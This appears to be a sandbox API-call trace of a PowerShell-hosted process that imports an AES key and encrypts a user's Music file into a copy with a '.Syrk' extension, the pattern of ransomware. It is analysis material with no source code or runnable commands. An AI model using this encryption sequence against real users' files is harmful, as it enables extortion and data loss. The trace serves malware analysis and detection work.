(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0244.810] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.810] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0244.810] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0244.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0244.810] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.811] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0244.811] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0244.811] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.811] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0244.812] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0244.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0244.812] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.812] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0244.812] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0244.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0244.812] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.812] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0244.812] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0244.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0244.812] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.813] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0244.813] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0244.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0244.813] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.813] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0244.813] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0244.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0244.813] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.813] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0244.813] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0244.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0244.814] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.814] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0244.814] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0244.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0244.814] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.814] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0244.814] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0244.815] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0244.815] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0244.815] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0244.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0244.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0244.815] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0244.815] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0244.815] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0244.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0244.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0244.816] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0244.816] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0244.817] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0244.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0244.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0244.817] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0244.817] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0244.817] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0244.817] EtwEventActivityIdControl () returned 0x0 [0244.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0244.817] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0244.818] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0244.818] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0244.819] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d100) returned 1 [0244.821] CryptImportKey (in: hProv=0x5c4d100, pbData=0x24c6334*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69080) returned 1 [0244.821] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.822] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.822] EtwEventActivityIdControl () returned 0x0 [0244.822] EtwEventActivityIdControl () returned 0x0 [0244.822] EtwEventActivityIdControl () returned 0x0 [0244.828] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3")) returned 0x20 [0244.829] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3")) returned 0x20 [0244.829] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0244.829] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", lpFilePart=0x0) returned 0x2b [0244.829] EtwEventActivityIdControl () returned 0x0 [0244.830] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.830] EtwEventActivityIdControl () returned 0x0 [0244.830] EtwEventActivityIdControl () returned 0x0 [0244.830] EtwEventActivityIdControl () returned 0x0 [0244.831] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0244.832] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", lpFilePart=0x0) returned 0x2b [0244.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0244.832] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0244.832] GetFileType (hFile=0x454) returned 0x1 [0244.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0244.832] GetFileType (hFile=0x454) returned 0x1 [0244.833] EtwEventActivityIdControl () returned 0x0 [0244.833] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.833] EtwEventActivityIdControl () returned 0x0 [0244.833] EtwEventActivityIdControl () returned 0x0 [0244.833] EtwEventActivityIdControl () returned 0x0 [0244.834] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0244.834] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3.Syrk", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3.Syrk", lpFilePart=0x0) returned 0x30 [0244.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0244.835] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0244.835] GetFileType (hFile=0x1d4) returned 0x1 [0244.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0244.835] GetFileType (hFile=0x1d4) returned 0x1 [0244.836] EtwEventActivityIdControl () returned 0x0 [0244.836] CryptGenRandom (in: hProv=0x5c4d100, dwLen=0x10, pbBuffer=0x24d6410 | out: pbBuffer=0x24d6410) returned 1 [0244.837] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.837] CryptDuplicateKey (in: hKey=0x5c69080, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c995a0) returned 1 [0244.837] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.837] CryptSetKeyParam (hKey=0x5c995a0, dwParam=0x4, pbData=0x24d773c*=0x1, dwFlags=0x0) returned 1 [0244.837] CryptSetKeyParam (hKey=0x5c995a0, dwParam=0x1, pbData=0x24d7708, dwFlags=0x0) returned 1 [0244.837] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.838] EtwEventActivityIdControl () returned 0x0 [0244.838] EtwEventActivityIdControl () returned 0x0 [0244.838] EtwEventActivityIdControl () returned 0x0 [0244.839] EtwEventActivityIdControl () returned 0x0 [0244.839] ReadFile (in: hFile=0x454, lpBuffer=0x24da384, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24da384*, lpNumberOfBytesRead=0x5a2e7d8*=0xeeac, lpOverlapped=0x0) returned 1 [0244.841] CryptEncrypt (in: hKey=0x5c995a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24ee39c*, pdwDataLen=0x5a2e7cc*=0xeea0, dwBufLen=0xeea0 | out: pbData=0x24ee39c*, pdwDataLen=0x5a2e7cc*=0xeea0) returned 1 [0244.842] WriteFile (in: hFile=0x1d4, lpBuffer=0x24d64ec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24d64ec*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0244.843] WriteFile (in: hFile=0x1d4, lpBuffer=0x24ef388*, nNumberOfBytesToWrite=0xdeb4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24ef388*, lpNumberOfBytesWritten=0x5a2e7b0*=0xdeb4, lpOverlapped=0x0) returned 1 [0244.845] ReadFile (in: hFile=0x454, lpBuffer=0x24da384, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24da384*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0244.845] CryptEncrypt (in: hKey=0x5c995a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24fd248*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24fd248*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0244.845] CryptEncrypt (in: hKey=0x5c995a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24fd264*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24fd264*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0244.845] WriteFile (in: hFile=0x1d4, lpBuffer=0x24d64ec*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24d64ec*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0244.845] CloseHandle (hObject=0x1d4) returned 1 [0244.848] CloseHandle (hObject=0x454) returned 1 [0244.848] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.848] EtwEventActivityIdControl () returned 0x0 [0244.848] EtwEventActivityIdControl () returned 0x0 [0244.848] EtwEventActivityIdControl () returned 0x0 [0244.854] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3")) returned 0x20 [0244.856] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0244.856] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", lpFilePart=0x0) returned 0x2b [0244.856] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0244.857] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0244.857] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0244.857] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0244.857] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0244.857] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0244.857] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0244.857] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0244.857] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0244.857] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0244.858] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0244.858] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0244.858] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0244.858] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0244.858] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0244.858] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0244.858] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3")) returned 0x20 [0244.858] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0244.858] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", lpFilePart=0x0) returned 0x2b [0244.861] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0244.861] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", lpFilePart=0x0) returned 0x2b [0244.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0244.861] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0244.861] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", lpFilePart=0x0) returned 0x2b [0244.862] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff 